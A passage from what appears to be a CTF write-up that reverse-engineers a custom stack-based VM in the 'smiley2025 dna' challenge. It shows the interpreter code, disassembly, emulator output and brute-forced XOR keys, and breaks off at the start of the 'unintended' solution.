&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">(),&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">())&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">6&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">(),&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">())&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">b&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">7&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">(),&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">())&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Division by zero&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">%&lt;/span> &lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">8&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">(),&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">())&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#00a8c8">else&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">9&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">pro&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">10&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#f92672">not&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">()&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">pro&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">12&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">11&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#f92672">not&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">()&lt;/span>&lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">pro&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">12&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">12&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#f92672">not&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">chr&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">()),&lt;/span> &lt;span style="color:#111">end&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">13&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#f92672">not&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">key&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">f&lt;/span>&lt;span style="color:#111">():&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__code__&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">marshal&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">loads&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">bytes&lt;/span>&lt;span style="color:#111">([&lt;/span>&lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">key&lt;/span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">unlucky&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">)]))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">14&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">(),&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">())&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">not&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">nm&lt;/span> &lt;span style="color:#f92672">or&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">not&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">nm&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Invalid&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">nm&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">],&lt;/span> &lt;span style="color:#111">nm&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">b&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">nm&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">b&lt;/span>&lt;span style="color:#111">],&lt;/span> &lt;span style="color:#111">nm&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">])&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#75715e"># inserted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">case&lt;/span> &lt;span style="color:#ae81ff">15&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">break&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>we can see that it&amp;rsquo;s a simple stack based vm, the flag is loaded at 0x280, next thing i did was to make a disasembler for the vm, you can check it in &lt;a href="https://nothoudaifa.github.io/scripts/smiley2025-dna-disassemble.py">here&lt;/a>&lt;/p>
&lt;p>it gave me the following diassembly (truncated):&lt;/p>
&lt;pre tabindex="0">&lt;code>0x0 PUSH [0x280]
0xc PUSH 0x6a
0x18 MULT
0x1a PUSH [0x281]
0x26 PUSH 0x1b
0x32 MULT
...
0x4e0 PUSH [0x2b0]
0x4ec PUSH 0xa1
0x4f8 MULT
0x4fa ADD
0x4fc ADD
...
0x558 ADD
0x55a [0x1000] = POP
0x566 PUSH [0x280]
0x572 PUSH 0x38
0x57e MULT
...
0x3b62 PUSH [0x29a]
0x3b6e CALL MARSHAL
0x3b70 CALL MARSHAL
0x3b72 HALT
0x3b74 MOD
0x3b76 CALL MARSHAL
0x3b78 HALT
0x3b7a HALT
0x3b7c HALT
0x3b7e JMP 0x1fffe IF POP != 1
0x3b8a CALL MARSHAL
0x3b8c PUTC(POP)
0x3b8e MOD
0x3b90 CALL MARSHAL
&lt;/code>&lt;/pre>&lt;p>the first thing i noticed is that it is taking chars of the flag and multiplying them with constants then adds them, this is a dot product (which made me pretty convinced it a linear system, i didn&amp;rsquo;t use this in my first solve tho), after that it is invoking instruction 14, which calls marshal code using a key, in this case the key is a flag char, i didn&amp;rsquo;t reverse the python bytecode when solving the chall, afrer that it does some stuff, at this point i got tired of reading the disassembly and decided to make my own emulator so i can debug it, you can find it &lt;a href="https://nothoudaifa.github.io/static/scripts/smiley2025-dna-vm.py">here&lt;/a>&lt;/p>
&lt;p>after running the vm with an example flag i got this&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ py vm.py ./dna/vm.dna
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;gt; .&lt;span style="color:#111">;&lt;/span>,&lt;span style="color:#111">;&lt;/span>.&lt;span style="color:#f92672">{&lt;/span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>MARSHAL: &lt;span style="color:#ae81ff">65&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Traceback &lt;span style="color:#f92672">(&lt;/span>most recent call last&lt;span style="color:#f92672">)&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#d88200">&amp;#34;/home/player/ctfs/smiley/dna/vm.py&amp;#34;&lt;/span>, line 117, in &amp;lt;module&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> f.__code__ &lt;span style="color:#f92672">=&lt;/span> marshal.loads&lt;span style="color:#f92672">(&lt;/span>bytes&lt;span style="color:#f92672">([&lt;/span>b ^ key &lt;span style="color:#00a8c8">for&lt;/span> b in unlucky.pop&lt;span style="color:#f92672">(&lt;/span>0&lt;span style="color:#f92672">)]))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ValueError: bad marshal data &lt;span style="color:#f92672">(&lt;/span>unknown &lt;span style="color:#111">type&lt;/span> code&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>this is because the key (which is a character from the flag) is wrong, after bruteforcing the keys until i got no error i was left with&lt;/p>
&lt;pre tabindex="0">&lt;code>.;,;.{AAAAAAAAAAAAAAAAAAAAAAiAAAouAAAAAaAAAAAAAAAAAAAAA}
&lt;/code>&lt;/pre>&lt;p>now running the vm again we get:&lt;/p>
&lt;pre tabindex="0">&lt;code>MARSHAL: 111
MARSHAL: 117
MARSHAL: 105
MARSHAL: 97
CMPEQ 0xa8f2c 0x6b0ce
CMPEQ 0x952d6 0x60833
CMPEQ 0xa0cf4 0x67b2e
CMPEQ 0x87e87 0x576cb
CMPEQ 0x8fbb8 0x5d2be
CMPEQ 0x996f6 0x62e12
CMPEQ 0xa0eba 0x65f0d
CMPEQ 0x981a4 0x61bd6
CMPEQ 0x90214 0x5ec71
CMPEQ 0xa3c6f 0x67bc8
CMPEQ 0xb36f0 0x7396d
CMPEQ 0xa9750 0x6e79d
CMPEQ 0xa4697 0x6d0f2
CMPEQ 0xa52a5 0x682f8
CMPEQ 0x9bd69 0x65dc8
CMPEQ 0xb24c1 0x71555
CMPEQ 0x9f053 0x64bbf
CMPEQ 0x95a53 0x646a9
CMPEQ 0x95e95 0x5fc1a
CMPEQ 0xb0750 0x6f3f5
CMPEQ 0xa1ad8 0x64911
CMPEQ 0x949d0 0x5f763
CMPEQ 0x922ab 0x5e00f
CMPEQ 0x990f4 0x6058c
CMPEQ 0xa0e4a 0x674f6
CMPEQ 0x8749a 0x57963
CMPEQ 0x9931c 0x613df
CMPEQ 0x97981 0x5f156
CMPEQ 0xa01c2 0x67f51
CMPEQ 0x92057 0x5c18d
CMPEQ 0xa24ad 0x67e15
CMPEQ 0xbcae1 0x7a2d5
CMPEQ 0xad88c 0x711d2
CMPEQ 0xa3833 0x6742d
CMPEQ 0x8cce6 0x5ba3b
CMPEQ 0xaecb6 0x6e958
CMPEQ 0xa6859 0x6bab8
CMPEQ 0xa7cac 0x6cd1e
CMPEQ 0xc4c8d 0x7ecc5
CMPEQ 0xa1427 0x66c4d
CMPEQ 0xb1df7 0x72a1f
CMPEQ 0xa8600 0x6bd4d
CMPEQ 0xb652c 0x7820c
CMPEQ 0x91f28 0x5f805
CMPEQ 0x99b79 0x61bf0
CMPEQ 0x8edb6 0x5d3e6
CMPEQ 0xa5c30 0x68bde
CMPEQ 0xa26ea 0x68231
CMPEQ 0xad889 0x70f95
CMPEQ 0x31 0x0
JMP 0x10ebc IF POP != 1
PUTC(POP)
WPUTC(POP)
RPUTC(POP)
OPUTC(POP)
NPUTC(POP)
GPUTC(POP)
!PUTC(POP)
&lt;/code>&lt;/pre>&lt;p>it printed wrong, it did 49 comparisions (here i was sure that it is comparing the resulting vectors from the matrix multiplication of the linear system), it prints &amp;ldquo;WRONG!&amp;rdquo; if at least one fails.&lt;/p>
&lt;h2 id="the-first-solution-unintended">The First solution (unintended)&lt;/h2>
